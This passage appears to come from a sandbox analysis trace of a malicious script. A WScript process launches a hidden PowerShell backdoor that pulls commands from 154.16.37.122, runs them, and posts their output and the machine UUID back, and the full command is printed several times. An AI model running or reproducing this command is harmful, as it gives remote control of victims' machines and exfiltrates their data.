(hModule=0x7feffa40000, lpProcName="CoGetClassObject") returned 0x7feffa72e18 [0273.746] CoGetClassObject (in: rclsid=0x24c970*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef9186300*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24c940 | out: ppv=0x24c940*=0x40ffa0) returned 0x0 [0273.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ac10 | out: lpSystemTimeAsFileTime=0x24ac10*(dwLowDateTime=0xd4093070, dwHighDateTime=0x1d4a74f)) [0273.749] GetCurrentProcessId () returned 0x968 [0273.749] GetCurrentThreadId () returned 0x8d4 [0273.749] GetTickCount () returned 0x4f90d [0273.750] QueryPerformanceCounter (in: lpPerformanceCount=0x24ac18 | out: lpPerformanceCount=0x24ac18*=1834716000000) returned 1 [0273.750] GetVersionExA (in: lpVersionInformation=0x24a9f0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xf8062dc8, dwBuildNumber=0x7fe, dwPlatformId=0xf8050000, szCSDVersion="\xfe\x07") | out: lpVersionInformation=0x24a9f0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0273.750] GetUserDefaultLCID () returned 0x409 [0273.750] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x24c770, nSize=0x105 | out: lpFilename="C:\\Windows\\System32\\WScript.exe" (normalized: "c:\\windows\\system32\\wscript.exe")) returned 0x1f [0273.751] lstrlenA (lpString="\\wscript.exe") returned 12 [0273.751] lstrlenA (lpString="C:\\Windows\\System32\\WScript.exe") returned 31 [0273.751] _strcmpi (_Str1="\\WScript.exe", _Str2="\\wscript.exe") returned 0 [0273.751] GetModuleHandleA (lpModuleName=0x0) returned 0xffd60000 [0273.751] GetProcAddress (hModule=0xffd60000, lpProcName=0x1) returned 0xffd6d7f8 [0273.778] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ae68 | out: ppv=0x24ae68*=0x5f280) returned 0x0 [0273.782] MulDiv (nNumber=240, nNumerator=100, nDenominator=513) returned 47 [0273.782] IUnknown:Release (This=0x5f280) returned 0x1 [0273.782] GetTickCount () returned 0x4f92c [0273.790] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ae68 | out: ppv=0x24ae68*=0x5f280) returned 0x0 [0273.790] MulDiv (nNumber=205, nNumerator=100, nDenominator=786) returned 26 [0273.790] IUnknown:Release (This=0x5f280) returned 0x1 [0273.790] GetTickCount () returned 0x4f92c [0273.791] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ae68 | out: ppv=0x24ae68*=0x5f280) returned 0x0 [0273.791] MulDiv (nNumber=205, nNumerator=100, nDenominator=1094) returned 19 [0273.791] IUnknown:Release (This=0x5f280) returned 0x1 [0273.791] GetTickCount () returned 0x4f92c [0273.792] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ae68 | out: ppv=0x24ae68*=0x5f280) returned 0x0 [0273.792] MulDiv (nNumber=205, nNumerator=100, nDenominator=1401) returned 15 [0273.792] IUnknown:Release (This=0x5f280) returned 0x1 [0273.792] GetTickCount () returned 0x4f93c [0273.792] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ae68 | out: ppv=0x24ae68*=0x5f280) returned 0x0 [0273.793] LoadRegTypeLib (in: rguid=0x7fef8062df0*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x24c9c0*=0x0 | out: pptlib=0x24c9c0*=0xb2850) returned 0x0 [0273.797] ITypeLib:GetTypeInfoOfGuid (in: This=0xb2850, GUID=0x7fef8062c30, ppTInfo=0x24ca08 | out: ppTInfo=0x24ca08*=0xb3108) returned 0x0 [0273.797] ITypeInfo:GetRefTypeOfImplType (in: This=0xb3108, index=0xffffffff, pRefType=0x24c9f8 | out: pRefType=0x24c9f8*=0xfffffffe) returned 0x0 [0273.797] ITypeInfo:GetRefTypeInfo (in: This=0xb3108, hreftype=0xfffffffe, ppTInfo=0x7fef806c128 | out: ppTInfo=0x7fef806c128*=0xb3160) returned 0x0 [0273.797] IUnknown:Release (This=0xb3108) returned 0x1 [0273.797] IUnknown:Release (This=0xb2850) returned 0x1 [0273.797] IUnknown:AddRef (This=0xb3160) returned 0x2 [0273.797] ITypeInfo:LocalGetIDsOfNames (This=0xb3160) returned 0x0 [0273.797] IUnknown:Release (This=0xb3160) returned 0x1 [0273.799] IUnknown:AddRef (This=0xb3160) returned 0x2 [0273.799] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0273.799] ITypeInfo:LocalInvoke (This=0xb3160) returned 0x0 [0273.799] ExpandEnvironmentStringsW (in: lpSrc="powershell -nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";", lpDst=0x24b350, nSize=0x400 | out: lpDst="powershell -nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";") returned 0x362 [0273.799] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x7fefdfd0000 [0273.799] GetProcAddress (hModule=0x7fefdfd0000, lpProcName="ShellExecuteExW") returned 0x7fefdff7c70 [0273.800] ShellExecuteExW (in: pExecInfo=0x24bb00*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="powershell", lpParameters="-nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x24bb00*(cbSize=0x70, fMask=0x440, hwnd=0x0, lpVerb="Open", lpFile="powershell", lpParameters="-nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x2e8)) returned 1 [0273.960] CloseHandle (hObject=0x2e8) returned 1 [0273.960] IUnknown:Release (This=0xb3160) returned 0x1 [0273.960] GetCurrentThreadId () returned 0x8d4 [0273.960] ISystemDebugEventFire:IsActive (This=0x739a0) returned 0x1 [0273.961] GetCurrentThreadId () returned 0x8d4 [0273.961] CoGetObjectContext (in: riid=0x7fef9186350*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24ea18 | out: ppv=0x24ea18*=0x5f280) returned 0x0 [0273.963] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7feffc1a1b0, dwCookie=0x100) returned 0x0 [0273.963] IUnknown:Release (This=0x409ff0) returned 0x1 [0273.963] IUnknown:Release (This=0x5f280) returned 0x1 [0273.963] IUnknown:Release (This=0x5f280) returned 0x0 [0273.963] ISystemDebugEventFire:EndSession (This=0x739a0) returned 0x0 [0273.963] IUnknown:Release (This=0x739a0) returned 0x1 [0273.963] GetUserDefaultLCID () returned 0x409 [0273.963] GetACP () returned 0x4e4 [0273.964] IUnknown:Release (This=0x739a0) returned 0x0 [0273.964] SendMessageA (hWnd=0xf0218, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0273.964] SendMessageA (hWnd=0xf0218, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0273.964] PostMessageA (hWnd=0xf0218, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0273.965] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x24f3b0*=0xd4, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0xff) returned 0x0 [0273.965] CloseHandle (hObject=0xd4) returned 1 [0273.965] IUnknown:Release (This=0x6e080) returned 0x0 [0273.965] IUnknown:Release (This=0x6e130) returned 0x0 [0273.965] IUnknown:Release (This=0x6e1e0) returned 0x0 [0273.965] IUnknown:Release (This=0x6dfd0) returned 0x0 [0273.969] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x24f3e0 | out: lplpMessageFilter=0x24f3e0*=0x2cdf80) returned 0x0 [0273.969] CoUninitialize () [0273.969] DllCanUnloadNow () returned 0x0 [0273.969] DllCanUnloadNow () returned 0x0 [0273.970] DllCanUnloadNow () returned 0x1 [0274.030] GetProcAddress (hModule=0x7feff0e0000, lpProcName="UnregisterTraceGuids") returned 0x77c63c80 [0274.030] EtwEventUnregister (RegHandle=0xb00010001) returned 0x0 [0274.030] EtwEventUnregister (RegHandle=0xc00010001) returned 0x0 [0274.034] RtlExitUserProcess (ExitCode=0x0) Thread: id = 316 os_tid = 0x928 Thread: id = 317 os_tid = 0x930 [0273.639] GetClassInfoA (in: hInstance=0xffd60000, lpClassName="WSH-Timer", lpWndClass=0x27afba0 | out: lpWndClass=0x27afba0) returned 0 [0273.639] RegisterClassA (lpWndClass=0x27afba0) returned 0xc007ac1a3 [0273.639] CreateWindowExA (dwExStyle=0x0, lpClassName="WSH-Timer", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=1, nHeight=1, hWndParent=0x0, hMenu=0x0, hInstance=0xffd60000, lpParam=0x4059a0) returned 0xf0218 [0273.640] GetWindowLongPtrA (hWnd=0xf0218, nIndex=-21) returned 0x0 [0273.640] NtdllDefWindowProc_A (hWnd=0xf0218, Msg=0x24, wParam=0x0, lParam=0x27af590) returned 0x0 [0273.640] GetWindowLongPtrA (hWnd=0xf0218, nIndex=-21) returned 0x0 [0273.640] SetWindowLongPtrA (hWnd=0xf0218, nIndex=-21, dwNewLong=0x4059a0) returned 0x0 [0273.640] NtdllDefWindowProc_A (hWnd=0xf0218, Msg=0x81, wParam=0x0, lParam=0x27af550) returned 0x1 [0273.641] GetWindowLongPtrA (hWnd=0xf0218, nIndex=-21) returned 0x4059a0 [0273.641] NtdllDefWindowProc_A (hWnd=0xf0218, Msg=0x83, wParam=0x0, lParam=0x27af5b0) returned 0x0 [0273.643] GetWindowLongPtrA (hWnd=0xf0218, nIndex=-21) returned 0x4059a0 [0273.643] NtdllDefWindowProc_A (hWnd=0xf0218, Msg=0x1, wParam=0x0, lParam=0x27af550) returned 0x0 [0273.643] SetEvent (hEvent=0xcc) returned 1 [0273.682] GetMessageA (in: lpMsg=0x27afb70, hWnd=0xf0218, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x27afb70) returned 0 [0273.964] GetWindowLongPtrA (hWnd=0xf0218, nIndex=-21) returned 0x4059a0 [0273.964] GetWindowLongPtrA (hWnd=0xf0218, nIndex=-21) returned 0x4059a0 Thread: id = 318 os_tid = 0x938 Thread: id = 319 os_tid = 0xa40 Thread: id = 320 os_tid = 0xaa4 Thread: id = 321 os_tid = 0xf0 Thread: id = 322 os_tid = 0x600 Thread: id = 323 os_tid = 0x808 Thread: id = 324 os_tid = 0x1c4 Process: id = "23" image_name = "powershell.exe" filename = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x294f7000" os_pid = "0x464" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x968" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -nop -exec bypass -c \"$r=[System.Net.WebRequest]::Create('http://154.16.37.122/GoogleUpdate/Update.php'); $resp=$r.GetResponse();$respstream=$resp.GetResponseStream(); $sr=new-object System.IO.StreamReader $respstream; $Cmd=$sr.ReadToEnd();$Cmd=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Cmd)); $cmdOut=Invoke-Expression -Command:$Cmd|Out-String;$ReCmd=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($cmdOut));$uuid=Invoke-Expression -Command:'wmic csproduct get uuid'|Out-String;$Reuid=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($uuid));$Pusl= 'http://154.16.37.122/GoogleUpdate/Google.php?Mac=';$Pusl=$Pusl+$Reuid;$Pusl=$Pusl+'?Data=';$Pusl=$Pusl+$ReCmd;[System.Net.WebRequest]$webRequest=[System.Net.WebRequest]::Create($Pusl);$webRequest.Method='POST';$webRequest.GetResponse();\";" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3227 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3228 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3229 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3230 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3231 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3232 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3233 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3234 start_va = 0x13fe90000 end_va = 0x13ff06fff entry_point = 0x13fe90000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe") Region: id = 3235 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3236 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3237 start_va = 0x7fffffd9000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 3238 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3239 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 3240 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3241 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3242 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3243 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3244 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3245 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 3246 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3247 start_va = 0xe0000 end_va = 0xe2fff entry_point = 0xe0000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 3248 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3249 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3250 start_va = 0x130000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3251 start_va = 0x1d0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3252 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 3253 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 3254 start_va = 0x780000 end_va = 0x1b7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 3255 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3256 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3257 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3258 start_va = 0x7fef8010000 end_va = 0x7fef807efff entry_point = 0x7fef8010000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3259 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3260 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3261 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3262 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3263 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3264 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3265 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3266 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3267 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3268 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3269 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3270 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3271 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3272 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 3273 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3274 start_va = 0x1b80000 end_va = 0x1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b80000" filename = "" Region: id = 3275 start_va = 0x1cf0000 end_va = 0x1cfffff entry_point = 0x0 region_type = private name = "private_0x0000000001cf0000" filename = "" Region: id = 3276 start_va = 0x1d40000 end_va = 0x1dbffff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 3277 start_va = 0x1e70000 end_va = 0x1eeffff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 3278 start_va = 0x1ef0000 end_va = 0x1fcefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ef0000" filename = "" Region: id = 3279 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3280 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3281 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3282 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3283 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3284 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3285 start_va = 0x140000 end_va = 0x141fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 3286 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3287 start_va = 0x2d0000 end_va = 0x2d0fff 